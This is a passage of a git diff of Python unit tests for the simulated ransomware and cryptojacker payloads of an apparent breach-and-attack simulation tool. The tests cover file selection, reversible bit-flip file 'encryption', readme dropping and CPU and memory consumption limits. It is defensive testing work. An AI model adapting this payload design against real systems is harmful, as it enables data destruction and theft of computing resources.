assert CryptojackerOptions(**CRYPTOJACKER_OPTIONS_DICT) == CRYPTOJACKER_OPTIONS_OBJECT + + +def test_cryptojacker_options__default(): + cryptojacker_options = CryptojackerOptions() + + assert cryptojacker_options.duration == 300 + assert cryptojacker_options.cpu_utilization == 80 + assert cryptojacker_options.memory_utilization == 20 + assert cryptojacker_options.simulate_bitcoin_mining_network_traffic is False + + +def test_cryptojacker_options__invalid_duration(): + with pytest.raises(ValueError): + CryptojackerOptions(duration=-123) + + +@pytest.mark.parametrize("cpu_utilization", ["-1", "101"]) +def test_cryptojacker_options__invalid_cpu_utilization(cpu_utilization: int): + with pytest.raises(ValueError): + CryptojackerOptions(cpu_utilization=cpu_utilization) + + +@pytest.mark.parametrize("memory_utilization", ["-1", "101"]) +def test_cryptojacker_options__invalid_memory_utilization(memory_utilization: int): + with pytest.raises(ValueError): + CryptojackerOptions(memory_utilization=memory_utilization) diff --git a/monkey/tests/unit_tests/agent_plugins/payloads/cryptojacker/test_memory_utilizer.py b/monkey/tests/unit_tests/agent_plugins/payloads/cryptojacker/test_memory_utilizer.py new file mode 100644 index 00000000000..2821298a7c7 --- /dev/null +++ b/monkey/tests/unit_tests/agent_plugins/payloads/cryptojacker/test_memory_utilizer.py @@ -0,0 +1,221 @@ +from typing import Callable +from unittest.mock import MagicMock + +import pytest +from agent_plugins.payloads.cryptojacker.src.memory_utilizer import ( + MEMORY_CONSUMPTION_SAFETY_LIMIT, + MemoryUtilizer, +) + +from common.event_queue import IAgentEventPublisher +from common.types import AgentID, PercentLimited + +AGENT_ID = AgentID("9614480d-471b-4568-86b5-cb922a34ed8a") +TARGET_UTILIZATION = PercentLimited(50) +TARGET_UTILIZATION_BYTES = 4 * 1024 * 1024 # 4 MB + + +class MockMemoryInfo: + def __init__(self, vms: int): + self.vms = vms + + +class MockProcess: + def __init__(self, memory_info: MockMemoryInfo): + self._memory_info = memory_info + + def memory_info(self): + return self._memory_info + + +class MockSystemVirtualMemory: + def __init__(self, total: int, available: int): + self.total = total + self.available = available + + +@pytest.fixture +def mock_agent_event_publisher() -> IAgentEventPublisher: + return MagicMock(spec=IAgentEventPublisher) + + +@pytest.fixture +def memory_utilizer(mock_agent_event_publisher) -> MemoryUtilizer: + return MemoryUtilizer(TARGET_UTILIZATION, AGENT_ID, mock_agent_event_publisher) + + +def set_system_virtual_memory( + monkeypatch, total_virtual_memory: int, available_virtual_memory: int +): + monkeypatch.setattr( + "agent_plugins.payloads.cryptojacker.src.memory_utilizer.psutil.virtual_memory", + lambda: MockSystemVirtualMemory(total_virtual_memory, available_virtual_memory), + ) + + +def set_consumed_virtual_memory(monkeypatch, vms: int): + monkeypatch.setattr( + "agent_plugins.payloads.cryptojacker.src.memory_utilizer.psutil.Process", + lambda: MockProcess(MockMemoryInfo(vms)), + ) + + +@pytest.mark.parametrize( + "parent_process_consumed_virtual_memory", + ( + 0, + int(TARGET_UTILIZATION_BYTES / 1), + int(TARGET_UTILIZATION_BYTES / 2), + int(TARGET_UTILIZATION_BYTES / 4), + ), +) +def test_adjust_memory_utilization__raise_to_target( + monkeypatch: Callable, + memory_utilizer: MemoryUtilizer, + parent_process_consumed_virtual_memory: int, +): + set_consumed_virtual_memory(monkeypatch, parent_process_consumed_virtual_memory) + + total_virtual_memory = int(TARGET_UTILIZATION_BYTES / TARGET_UTILIZATION.as_decimal_fraction()) + set_system_virtual_memory(monkeypatch, total_virtual_memory, total_virtual_memory) + + memory_utilizer.adjust_memory_utilization() + assert memory_utilizer.consumed_bytes_size == ( + TARGET_UTILIZATION_BYTES - parent_process_consumed_virtual_memory + ) + + +@pytest.mark.parametrize( + "parent_process_consumed_virtual_memory", + ( + 0, + int(TARGET_UTILIZATION_BYTES / 2), + int(TARGET_UTILIZATION_BYTES / 4), + ), +) +def test_adjust_memory_utilization__drop_to_target( + monkeypatch: Callable, + memory_utilizer: MemoryUtilizer, + mock_agent_event_publisher: IAgentEventPublisher, + parent_process_consumed_virtual_memory: int, +): + consumed_bytes = int(TARGET_UTILIZATION_BYTES * 1.5) + set_consumed_virtual_memory( + monkeypatch, parent_process_consumed_virtual_memory + consumed_bytes + ) + + total_virtual_memory = int(TARGET_UTILIZATION_BYTES / TARGET_UTILIZATION.as_decimal_fraction()) + set_system_virtual_memory(monkeypatch, total_virtual_memory, total_virtual_memory) + + # Instruct the memory utilizer to use more than the target so we can test its ability to reduce + # its memory consumption + memory_utilizer.consume_bytes(consumed_bytes) + + # Adjust memory utilization so that the memory utilizer is consuming the appropriate amount of + # memory + memory_utilizer.adjust_memory_utilization() + + assert memory_utilizer.consumed_bytes_size == ( + TARGET_UTILIZATION_BYTES - parent_process_consumed_virtual_memory + ) + assert mock_agent_event_publisher.publish.called + + +def test_adjust_memory_utilization__parent_process_over_limit( + monkeypatch: Callable, + memory_utilizer: MemoryUtilizer, +): + parent_process_consumed_virtual_memory = int(TARGET_UTILIZATION_BYTES * 1.25) + set_consumed_virtual_memory(monkeypatch, parent_process_consumed_virtual_memory) + + total_virtual_memory = int(TARGET_UTILIZATION_BYTES / TARGET_UTILIZATION.as_decimal_fraction()) + set_system_virtual_memory(monkeypatch, total_virtual_memory, total_virtual_memory) + + # Adjust memory utilization so that the memory utilizer is consuming some memory + memory_utilizer.adjust_memory_utilization() + + assert memory_utilizer.consumed_bytes_size == 0 + + +def test_adjust_memory_utilization__used_gt_total( + monkeypatch: Callable, + memory_utilizer: MemoryUtilizer, + mock_agent_event_publisher: IAgentEventPublisher, +): + total_virtual_memory = 1024 + set_system_virtual_memory(monkeypatch, total_virtual_memory, total_virtual_memory) + set_consumed_virtual_memory(monkeypatch, total_virtual_memory * 2) + + memory_utilizer.adjust_memory_utilization() + + assert memory_utilizer.consumed_bytes_size == 0 + assert not mock_agent_event_publisher.publish.called + + +@pytest.mark.parametrize( + "parent_process_consumed_virtual_memory,expected_consumed_bytes_size", + ( + (0, 1509949), + (int(TARGET_UTILIZATION_BYTES / 2), 1300234), + (int(TARGET_UTILIZATION_BYTES / 4), 1405091), + ), +) +def test_adjust_memory_utilization__limits( + monkeypatch: Callable, + memory_utilizer: MemoryUtilizer, + mock_agent_event_publisher: IAgentEventPublisher, + parent_process_consumed_virtual_memory: int, + expected_consumed_bytes_size: int, +): + set_consumed_virtual_memory(monkeypatch, parent_process_consumed_virtual_memory) + + total_virtual_memory = int(TARGET_UTILIZATION_BYTES / TARGET_UTILIZATION.as_decimal_fraction()) + available_virtual_memory = total_virtual_memory * 0.2 + set_system_virtual_memory(monkeypatch, total_virtual_memory, available_virtual_memory) + + memory_utilizer.adjust_memory_utilization() + + assert memory_utilizer.consumed_bytes_size == expected_consumed_bytes_size + assert mock_agent_event_publisher.publish.called, MEMORY_CONSUMPTION_SAFETY_LIMIT + + +def test_consume_bytes__publishes_event( + memory_utilizer: MemoryUtilizer, + mock_agent_event_publisher: IAgentEventPublisher, +): + memory_utilizer.consume_bytes(1) + assert mock_agent_event_publisher.publish.call_count == 1 + + +@pytest.mark.parametrize( + "bytes_to_consume_1,bytes_to_consume_2,expected_publish_count", + ((0, 0, 0), (1024, 1025, 1), (1024, 1023, 1)), +) +def test_consume_bytes__no_change_publishes_no_event( + memory_utilizer: MemoryUtilizer, + mock_agent_event_publisher: IAgentEventPublisher, + bytes_to_consume_1: int, + bytes_to_consume_2: int, + expected_publish_count: int, +): + memory_utilizer.consume_bytes(bytes_to_consume_1) + memory_utilizer.consume_bytes(bytes_to_consume_2) + + assert mock_agent_event_publisher.publish.call_count == expected_publish_count + + +@pytest.mark.parametrize( + "bytes_to_consume_1,bytes_to_consume_2,expected_publish_count", + ((0, 1, 1), (1, 0, 2), (0, 1025, 1), (1024, 2048, 2)), +) +def test_consume_bytes__change_publishes_event( + memory_utilizer: MemoryUtilizer, + mock_agent_event_publisher: IAgentEventPublisher, + bytes_to_consume_1: int, + bytes_to_consume_2: int, + expected_publish_count: int, +): + memory_utilizer.consume_bytes(bytes_to_consume_1) + memory_utilizer.consume_bytes(bytes_to_consume_2) + + assert mock_agent_event_publisher.publish.call_count == expected_publish_count diff --git a/monkey/tests/unit_tests/infection_monkey/payload/ransomware/conftest.py b/monkey/tests/unit_tests/agent_plugins/payloads/ransomware/conftest.py similarity index 71% rename from monkey/tests/unit_tests/infection_monkey/payload/ransomware/conftest.py rename to monkey/tests/unit_tests/agent_plugins/payloads/ransomware/conftest.py index e55a8ba6c18..e916bd9e924 100644 --- a/monkey/tests/unit_tests/infection_monkey/payload/ransomware/conftest.py +++ b/monkey/tests/unit_tests/agent_plugins/payloads/ransomware/conftest.py @@ -5,12 +5,12 @@ @pytest.fixture -def ransomware_test_data(data_for_tests_dir): +def ransomware_test_data(data_for_tests_dir) -> Path: return Path(data_for_tests_dir) / "ransomware_targets" @pytest.fixture -def ransomware_target(tmp_path, ransomware_test_data): +def ransomware_target(tmp_path, ransomware_test_data) -> Path: ransomware_target = tmp_path / "ransomware_target" shutil.copytree(ransomware_test_data, ransomware_target) diff --git a/monkey/tests/unit_tests/infection_monkey/payload/ransomware/ransomware_target_files.py b/monkey/tests/unit_tests/agent_plugins/payloads/ransomware/ransomware_target_files.py similarity index 100% rename from monkey/tests/unit_tests/infection_monkey/payload/ransomware/ransomware_target_files.py rename to monkey/tests/unit_tests/agent_plugins/payloads/ransomware/ransomware_target_files.py diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_bit_manipulators.py b/monkey/tests/unit_tests/agent_plugins/payloads/ransomware/test_bit_manipulators.py similarity index 87% rename from monkey/tests/unit_tests/infection_monkey/utils/test_bit_manipulators.py rename to monkey/tests/unit_tests/agent_plugins/payloads/ransomware/test_bit_manipulators.py index fdfb2a61fa7..d8e0dcc9db2 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_bit_manipulators.py +++ b/monkey/tests/unit_tests/agent_plugins/payloads/ransomware/test_bit_manipulators.py @@ -1,5 +1,4 @@ -from infection_monkey.utils import bit_manipulators -from infection_monkey.utils.bit_manipulators import flip_bits +from agent_plugins.payloads.ransomware.src.bit_manipulators import flip_bits def test_flip_all_bits(): @@ -36,7 +35,7 @@ def test_flip_bits(): b"\xcc\xcb\xca\xc9\xc8\xc7\xc6\xcf\xde\xbf\xdc\xdb\xda\xa1\xd9\xd5\xd7\xd6" ) - assert bit_manipulators.flip_bits(test_input) == expected_output + assert flip_bits(test_input) == expected_output def test_flip_bits__reversible(): @@ -44,7 +43,7 @@ def test_flip_bits__reversible(): b"ABCDEFGHIJNLM\xffNOPQRSTUVWXYZabcde\xf5fghijnlmnopqr\xC3stuvwxyz1\x87234567890!@#$%^&*()" ) - test_output = bit_manipulators.flip_bits(test_input) - test_output = bit_manipulators.flip_bits(test_output) + test_output = flip_bits(test_input) + test_output = flip_bits(test_output) assert test_input == test_output diff --git a/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_file_selectors.py b/monkey/tests/unit_tests/agent_plugins/payloads/ransomware/test_file_selectors.py similarity index 63% rename from monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_file_selectors.py rename to monkey/tests/unit_tests/agent_plugins/payloads/ransomware/test_file_selectors.py index f105a14e1c3..442375a001c 100644 --- a/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_file_selectors.py +++ b/monkey/tests/unit_tests/agent_plugins/payloads/ransomware/test_file_selectors.py @@ -3,7 +3,12 @@ from pathlib import Path import pytest -from tests.unit_tests.infection_monkey.payload.ransomware.ransomware_target_files import ( +from agent_plugins.payloads.ransomware.src.file_selectors import ( + README_SRC, + ProductionSafeTargetFileSelector, +) +from agent_plugins.payloads.ransomware.src.typedef import FileSelectorCallable +from tests.unit_tests.agent_plugins.payloads.ransomware.ransomware_target_files import ( ALL_ZEROS_PDF, HELLO_TXT, SHORTCUT_LNK, @@ -13,18 +18,17 @@ ) from tests.utils import is_user_admin -from infection_monkey.payload.ransomware.file_selectors import ProductionSafeTargetFileSelector -from infection_monkey.payload.ransomware.ransomware import README_SRC - TARGETED_FILE_EXTENSIONS = [".pdf", ".txt"] @pytest.fixture -def file_selector(): - return ProductionSafeTargetFileSelector(TARGETED_FILE_EXTENSIONS) +def file_selector() -> FileSelectorCallable: + return ProductionSafeTargetFileSelector(set(TARGETED_FILE_EXTENSIONS)) -def test_select_targeted_files_only(ransomware_test_data, file_selector): +def test_select_targeted_files_only( + ransomware_test_data: Path, file_selector: FileSelectorCallable +): selected_files = list(file_selector(ransomware_test_data)) assert len(selected_files) == 2 @@ -32,8 +36,8 @@ def test_select_targeted_files_only(ransomware_test_data, file_selector): assert (ransomware_test_data / TEST_KEYBOARD_TXT) in selected_files -def test_shortcut_not_selected(ransomware_test_data): - extensions = TARGETED_FILE_EXTENSIONS + [".lnk"] +def test_shortcut_not_selected(ransomware_test_data: Path): + extensions = set(TARGETED_FILE_EXTENSIONS + [".lnk"]) file_selector = ProductionSafeTargetFileSelector(extensions) selected_files = file_selector(ransomware_test_data) @@ -43,7 +47,7 @@ def test_shortcut_not_selected(ransomware_test_data): @pytest.mark.skipif( os.name == "nt" and not is_user_admin(), reason="Test requires admin rights on Windows" ) -def test_symlink_not_selected(ransomware_target, file_selector): +def test_symlink_not_selected(ransomware_target: Path, file_selector: FileSelectorCallable): SYMLINK = "symlink.pdf" link_path = ransomware_target / SYMLINK link_path.symlink_to(ransomware_target / TEST_LIB_DLL) @@ -52,13 +56,15 @@ def test_symlink_not_selected(ransomware_target, file_selector): assert link_path not in selected_files -def test_directories_not_selected(ransomware_test_data, file_selector): +def test_directories_not_selected(ransomware_test_data: Path, file_selector: FileSelectorCallable): selected_files = file_selector(ransomware_test_data) assert (ransomware_test_data / SUBDIR / HELLO_TXT) not in selected_files -def test_ransomware_readme_not_selected(ransomware_target, file_selector): +def test_ransomware_readme_not_selected( + ransomware_target: Path, file_selector: FileSelectorCallable +): readme_file = ransomware_target / "README.txt" shutil.copyfile(README_SRC, readme_file) @@ -67,7 +73,9 @@ def test_ransomware_readme_not_selected(ransomware_target, file_selector): assert readme_file not in selected_files -def test_pre_existing_readme_is_selected(ransomware_target, stable_file, file_selector): +def test_pre_existing_readme_is_selected( + ransomware_target: Path, stable_file: Path, file_selector: FileSelectorCallable +): readme_file = ransomware_target / "README.txt" shutil.copyfile(stable_file, readme_file) @@ -76,13 +84,13 @@ def test_pre_existing_readme_is_selected(ransomware_target, stable_file, file_se assert readme_file in selected_files -def test_directory_doesnt_exist(file_selector): +def test_directory_doesnt_exist(file_selector: FileSelectorCallable): selected_files = file_selector(Path("/nonexistent")) assert len(list(selected_files)) == 0 -def test_target_directory_is_file(tmp_path, file_selector): +def test_target_directory_is_file(tmp_path: Path, file_selector: FileSelectorCallable): target_file = tmp_path / "target_file.txt" target_file.touch() assert target_file.exists() @@ -96,7 +104,9 @@ def test_target_directory_is_file(tmp_path, file_selector): @pytest.mark.skipif( os.name == "nt" and not is_user_admin(), reason="Test requires admin rights on Windows" ) -def test_target_directory_is_symlink(tmp_path, ransomware_test_data, file_selector): +def test_target_directory_is_symlink( + tmp_path: Path, ransomware_test_data: Path, file_selector: FileSelectorCallable +): link_directory = tmp_path / "link_directory" link_directory.symlink_to(ransomware_test_data, target_is_directory=True) assert len(list(link_directory.iterdir())) > 0 diff --git a/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_in_place_file_encryptor.py b/monkey/tests/unit_tests/agent_plugins/payloads/ransomware/test_in_place_file_encryptor.py similarity index 64% rename from monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_in_place_file_encryptor.py rename to monkey/tests/unit_tests/agent_plugins/payloads/ransomware/test_in_place_file_encryptor.py index 68d315d374f..31a066fdf17 100644 --- a/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_in_place_file_encryptor.py +++ b/monkey/tests/unit_tests/agent_plugins/payloads/ransomware/test_in_place_file_encryptor.py @@ -1,7 +1,11 @@ import os +from pathlib import Path import pytest -from tests.unit_tests.infection_monkey.payload.ransomware.ransomware_target_files import ( +from agent_plugins.payloads.ransomware.src.bit_manipulators import flip_bits +from agent_plugins.payloads.ransomware.src.in_place_file_encryptor import InPlaceFileEncryptor +from agent_plugins.payloads.ransomware.src.typedef import FileEncryptorCallable +from tests.unit_tests.agent_plugins.payloads.ransomware.ransomware_target_files import ( ALL_ZEROS_PDF, ALL_ZEROS_PDF_CLEARTEXT_SHA256, ALL_ZEROS_PDF_ENCRYPTED_SHA256, @@ -11,27 +15,20 @@ ) from tests.utils import get_file_sha256_hash -from infection_monkey.payload.ransomware.in_place_file_encryptor import InPlaceFileEncryptor -from infection_monkey.utils.bit_manipulators import flip_bits +from common.types import FileExtension -EXTENSION = ".m0nk3y" +EXTENSION = FileExtension(".m0nk3y") -def with_extension(filename): +def with_extension(filename) -> str: return f"{filename}{EXTENSION}" @pytest.fixture(scope="module") -def in_place_bitflip_file_encryptor(): +def in_place_bitflip_file_encryptor() -> FileEncryptorCallable: return InPlaceFileEncryptor(encrypt_bytes=flip_bits, chunk_size=64) -@pytest.mark.parametrize("invalid_extension", ["no_dot", ".has/slash", ".has\\slash"]) -def test_invalid_file_extension(invalid_extension): - with pytest.raises(ValueError): - InPlaceFileEncryptor(encrypt_bytes=None, new_file_extension=invalid_extension) - - @pytest.mark.parametrize( "file_name,cleartext_hash,encrypted_hash", [ @@ -40,7 +37,11 @@ def test_invalid_file_extension(invalid_extension): ], ) def test_file_encrypted( - in_place_bitflip_file_encryptor, ransomware_target, file_name, cleartext_hash, encrypted_hash + in_place_bitflip_file_encryptor: FileEncryptorCallable, + ransomware_target: Path, + file_name: str, + cleartext_hash: str, + encrypted_hash: str, ): test_keyboard = ransomware_target / file_name @@ -51,7 +52,9 @@ def test_file_encrypted( assert get_file_sha256_hash(test_keyboard) == encrypted_hash -def test_file_encrypted_in_place(in_place_bitflip_file_encryptor, ransomware_target): +def test_file_encrypted_in_place( + in_place_bitflip_file_encryptor: FileEncryptorCallable, ransomware_target: Path +): test_keyboard = ransomware_target / TEST_KEYBOARD_TXT expected_inode = os.stat(test_keyboard).st_ino @@ -61,7 +64,7 @@ def test_file_encrypted_in_place(in_place_bitflip_file_encryptor, ransomware_tar assert expected_inode == actual_inode -def test_encrypted_file_has_new_extension(ransomware_target): +def test_encrypted_file_has_new_extension(ransomware_target: Path): test_keyboard = ransomware_target / TEST_KEYBOARD_TXT encrypted_test_keyboard = ransomware_target / with_extension(TEST_KEYBOARD_TXT) encryptor = InPlaceFileEncryptor(encrypt_bytes=flip_bits, new_file_extension=EXTENSION) diff --git a/monkey/tests/unit_tests/agent_plugins/payloads/ransomware/test_integrated_ransomware.py b/monkey/tests/unit_tests/agent_plugins/payloads/ransomware/test_integrated_ransomware.py new file mode 100644 index 00000000000..c7741391c9a --- /dev/null +++ b/monkey/tests/unit_tests/agent_plugins/payloads/ransomware/test_integrated_ransomware.py @@ -0,0 +1,57 @@ +import threading +from pathlib import Path +from unittest.mock import MagicMock + +import agent_plugins.payloads.ransomware.src.ransomware_builder as ransomware_builder +import pytest +from agent_plugins.payloads.ransomware.src.ransomware_options import RansomwareOptions + +from common import OperatingSystem +from common.event_queue import IAgentEventPublisher +from common.types import AgentID +from common.utils.environment import get_os + +AGENT_ID = AgentID("0442ca83-10ce-495f-9c1c-92b4e1f5c39c") + + +@pytest.fixture +def target_dir(tmp_path: Path) -> Path: + return tmp_path + + +@pytest.fixture +def target_file(target_dir: Path) -> Path: + file = target_dir / "file.txt" + file.write_text("Do your worst!") + + return file + + +@pytest.fixture +def ransomware_options_dict(ransomware_file_extension: str, target_dir: Path) -> dict: + if get_os() == OperatingSystem.LINUX: + return RansomwareOptions( + file_extension=ransomware_file_extension, + linux_target_dir=str(target_dir), + ) + + return RansomwareOptions( + file_extension=ransomware_file_extension, + windows_target_dir=str(target_dir), + ) + + +def test_uses_correct_extension( + ransomware_options_dict: dict, + target_file: Path, + ransomware_file_extension: str, +): + ransomware = ransomware_builder.build_ransomware( + AGENT_ID, MagicMock(spec=IAgentEventPublisher), ransomware_options_dict + ) + + ransomware.run(threading.Event()) + + # Verify that the file has been encrypted with the correct ending + encrypted_file = target_file.with_suffix(target_file.suffix + ransomware_file_extension) + assert encrypted_file.is_file() diff --git a/monkey/tests/unit_tests/agent_plugins/payloads/ransomware/test_internal_ransomware_options.py b/monkey/tests/unit_tests/agent_plugins/payloads/ransomware/test_internal_ransomware_options.py new file mode 100644 index 00000000000..1e2cdda235e --- /dev/null +++ b/monkey/tests/unit_tests/agent_plugins/payloads/ransomware/test_internal_ransomware_options.py @@ -0,0 +1,83 @@ +from pathlib import Path +from typing import Callable, Optional + +import pytest +from agent_plugins.payloads.ransomware.src import internal_ransomware_options +from agent_plugins.payloads.ransomware.src.internal_ransomware_options import ( + InternalRansomwareOptions, +) +from agent_plugins.payloads.ransomware.src.ransomware_options import RansomwareOptions +from tests.utils import raise_ + +from common import OperatingSystem +from common.utils.environment import get_os +from common.utils.file_utils import InvalidPath + +LINUX_DIR = "/tmp/test" +WINDOWS_DIR = "C:\\tmp\\test" + +RANSOMWARE_OPTIONS_OBJECT = RansomwareOptions( + file_extension=".encrypted", + linux_target_dir=LINUX_DIR, + windows_target_dir=WINDOWS_DIR, + leave_readme=True, +) + + +@pytest.mark.parametrize("file_extension", (".xyz", ".m0nk3y")) +def test_file_extension(file_extension: str): + internal_options = InternalRansomwareOptions(RansomwareOptions(file_extension=file_extension)) + + assert internal_options.file_extension == file_extension + + +@pytest.mark.parametrize("leave_readme", (True, False)) +def test_leave_readme(leave_readme: bool): + internal_options = InternalRansomwareOptions(RansomwareOptions(leave_readme=leave_readme)) + + assert internal_options.leave_readme == leave_readme + + +def test_linux_target_dir(monkeypatch: Callable): + monkeypatch.setattr(internal_ransomware_options, "get_os", lambda: OperatingSystem.LINUX) + + internal_options = InternalRansomwareOptions(RANSOMWARE_OPTIONS_OBJECT) + assert internal_options.target_directory == Path(LINUX_DIR) + + +def test_windows_target_dir(monkeypatch: Callable): + monkeypatch.setattr(internal_ransomware_options, "get_os", lambda: OperatingSystem.WINDOWS) + + internal_options = InternalRansomwareOptions(RANSOMWARE_OPTIONS_OBJECT) + assert internal_options.target_directory == Path(WINDOWS_DIR) + + +def test_env_variables_in_target_dir_resolved(home_env_variable: str, patched_home_env: str): + path_with_env_variable = f"{home_env_variable}/ransomware_target" + if get_os() == OperatingSystem.LINUX: + options = RansomwareOptions(linux_target_dir=path_with_env_variable) + else: + options = RansomwareOptions(windows_target_dir=path_with_env_variable) + + internal_options = InternalRansomwareOptions(options) + + assert internal_options.target_directory == patched_home_env / "ransomware_target" + + +@pytest.mark.parametrize("target_dir", (None, "")) +def test_empty_target_dir(target_dir: Optional[str]): + options = RansomwareOptions(linux_target_dir=target_dir, windows_target_dir=target_dir) + + internal_options = InternalRansomwareOptions(options) + + assert internal_options.target_directory is None + + +def test_invalid_target_dir(monkeypatch: Callable): + monkeypatch.setattr( + internal_ransomware_options, "expand_path", lambda _: raise_(InvalidPath("invalid")) + ) + + internal_options = InternalRansomwareOptions(RANSOMWARE_OPTIONS_OBJECT) + + assert internal_options.target_directory is None diff --git a/monkey/tests/unit_tests/agent_plugins/payloads/ransomware/test_ransomware.py b/monkey/tests/unit_tests/agent_plugins/payloads/ransomware/test_ransomware.py new file mode 100644 index 00000000000..86d81b50377 --- /dev/null +++ b/monkey/tests/unit_tests/agent_plugins/payloads/ransomware/test_ransomware.py @@ -0,0 +1,372 @@ +import os +import threading +from pathlib import Path, PurePosixPath +from typing import Callable, Type, TypeAlias +from unittest.mock import MagicMock + +import pytest +from agent_plugins.payloads.ransomware.src.consts import README_FILE_NAME, README_SRC +from agent_plugins.payloads.ransomware.src.internal_ransomware_options import ( + InternalRansomwareOptions, +) +from agent_plugins.payloads.ransomware.src.ransomware import Ransomware +from agent_plugins.payloads.ransomware.src.typedef import ( + FileEncryptorCallable, + FileSelectorCallable, + ReadmeDropperCallable, +) +from tests.unit_tests.agent_plugins.payloads.ransomware.ransomware_target_files import ( + ALL_ZEROS_PDF, + HELLO_TXT, + TEST_KEYBOARD_TXT, +) +from tests.utils import is_user_admin + +from common.agent_events import AbstractAgentEvent, FileEncryptionEvent +from common.event_queue import AgentEventSubscriber, IAgentEventPublisher +from common.types import AgentID, Event + +BuildRansomwareCallable: TypeAlias = Callable[ + [InternalRansomwareOptions, FileEncryptorCallable, FileSelectorCallable, ReadmeDropperCallable], + Ransomware, +] + + +class AgentEventPublisherSpy(IAgentEventPublisher): + def __init__(self): + self.events = [] + + def subscribe_all_events(self, subscriber: AgentEventSubscriber): + pass + + def subscribe_type( + self, event_type: Type[AbstractAgentEvent], subscriber: AgentEventSubscriber + ): + pass + + def subscribe_tag(self, tag: str, subscriber: AgentEventSubscriber): + pass + + def publish(self, event: AbstractAgentEvent): + self.events.append(event) + + +@pytest.fixture +def agent_event_publisher_spy() -> IAgentEventPublisher: + return AgentEventPublisherSpy() + + +@pytest.fixture +def ransomware( + build_ransomware: BuildRansomwareCallable, + internal_ransomware_options: InternalRansomwareOptions, +) -> Ransomware: + return build_ransomware(internal_ransomware_options) # type: ignore [call-arg] + + +@pytest.fixture +def build_ransomware( + mock_file_encryptor: FileEncryptorCallable, + mock_file_selector: FileSelectorCallable, + mock_leave_readme: ReadmeDropperCallable, + agent_event_publisher_spy: IAgentEventPublisher, +) -> BuildRansomwareCallable: + def inner( + config: InternalRansomwareOptions, + file_encryptor: FileEncryptorCallable = mock_file_encryptor, + file_selector: FileSelectorCallable = mock_file_selector, + leave_readme: ReadmeDropperCallable = mock_leave_readme, + ) -> Ransomware: + return Ransomware( + config, + file_encryptor, + file_selector, + leave_readme, + agent_event_publisher_spy, + AgentID("8f53f4fb-2d33-465a-aa9c-de704a7e42b3"), + ) + + return inner + + +@pytest.fixture +def internal_ransomware_options( + ransomware_file_extension: str, ransomware_test_data: Path +) -> InternalRansomwareOptions: + class InternalRansomwareOptionsStub(InternalRansomwareOptions): + def __init__(self, leave_readme: bool, file_extension: str, target_directory: Path): + self.leave_readme = leave_readme + self.file_extension = file_extension + self.target_directory = target_directory + + return InternalRansomwareOptionsStub(False, ransomware_file_extension, ransomware_test_data) + + +@pytest.fixture +def mock_file_encryptor() -> FileEncryptorCallable: + return MagicMock() + + +@pytest.fixture +def mock_file_selector(ransomware_test_data) -> FileSelectorCallable: + selected_files = iter( + [ + ransomware_test_data / ALL_ZEROS_PDF, + ransomware_test_data / TEST_KEYBOARD_TXT, + ] + ) + return MagicMock(return_value=selected_files) + + +@pytest.fixture +def mock_leave_readme() -> ReadmeDropperCallable: + return MagicMock() + + +@pytest.fixture +def interrupt() -> Event: + return threading.Event() + + +def test_files_selected_from_target_dir( + ransomware: Ransomware, + internal_ransomware_options: InternalRansomwareOptions, + mock_file_selector: FileSelectorCallable, +): + ransomware.run(threading.Event()) + mock_file_selector.assert_called_with(internal_ransomware_options.target_directory) + + +def test_all_selected_files_encrypted( + ransomware_test_data: Path, ransomware: Ransomware, mock_file_encryptor: FileEncryptorCallable +): + ransomware.run(threading.Event()) + + assert mock_file_encryptor.call_count == 2 + mock_file_encryptor.assert_any_call(ransomware_test_data / ALL_ZEROS_PDF) + mock_file_encryptor.assert_any_call(ransomware_test_data / TEST_KEYBOARD_TXT) + + +def test_interrupt_while_encrypting( + ransomware_test_data: Path, + interrupt: Event, + internal_ransomware_options: InternalRansomwareOptions, + build_ransomware: BuildRansomwareCallable, +): + selected_files = [ + ransomware_test_data / ALL_ZEROS_PDF, + ransomware_test_data / HELLO_TXT, + ransomware_test_data / TEST_KEYBOARD_TXT, + ] + mfs = MagicMock(return_value=selected_files) + + def _callback(file_path, *_): + # Block all threads here until 2 threads reach this barrier, then set stop + # and test that neither thread continues to scan. + if file_path.name == HELLO_TXT: + interrupt.set() + + mfe = MagicMock(side_effect=_callback) + + build_ransomware(internal_ransomware_options, mfe, mfs).run(interrupt) # type: ignore [call-arg] # noqa: E501 + + assert mfe.call_count == 2 + mfe.assert_any_call(ransomware_test_data / ALL_ZEROS_PDF) + mfe.assert_any_call(ransomware_test_data / HELLO_TXT) + + +def test_no_readme_after_interrupt( + internal_ransomware_options: InternalRansomwareOptions, + build_ransomware: BuildRansomwareCallable, + interrupt: Event, + mock_leave_readme: ReadmeDropperCallable, +): + internal_ransomware_options.leave_readme = True + ransomware = build_ransomware(internal_ransomware_options) # type: ignore [call-arg] + + interrupt.set() + ransomware.run(interrupt) + + mock_leave_readme.assert_not_called() + + +def test_encryption_skipped_if_no_directory( + build_ransomware: BuildRansomwareCallable, + internal_ransomware_options: InternalRansomwareOptions, + mock_file_encryptor: FileEncryptorCallable, +): + internal_ransomware_options.target_directory = None + + ransomware = build_ransomware(internal_ransomware_options) # type: ignore [call-arg] + ransomware.run(threading.Event()) + + assert mock_file_encryptor.call_count == 0 + + +def test_readme_false( + build_ransomware: BuildRansomwareCallable, + internal_ransomware_options: InternalRansomwareOptions, + mock_leave_readme: ReadmeDropperCallable, +): + internal_ransomware_options.leave_readme = False + ransomware = build_ransomware(internal_ransomware_options) # type: ignore [call-arg] + + ransomware.run(threading.Event()) + mock_leave_readme.assert_not_called() + + +def test_readme_true( + build_ransomware: BuildRansomwareCallable, + internal_ransomware_options: InternalRansomwareOptions, + mock_leave_readme: ReadmeDropperCallable, + ransomware_test_data: Path, +): + internal_ransomware_options.leave_readme = True + ransomware = build_ransomware(internal_ransomware_options) # type: ignore [call-arg] + + ransomware.run(threading.Event()) + mock_leave_readme.assert_called_with(README_SRC, ransomware_test_data / README_FILE_NAME) + + +def test_no_readme_if_no_directory( + build_ransomware: BuildRansomwareCallable, + internal_ransomware_options: InternalRansomwareOptions, + mock_leave_readme: ReadmeDropperCallable, +): + internal_ransomware_options.target_directory = None + internal_ransomware_options.leave_readme = True + + ransomware = 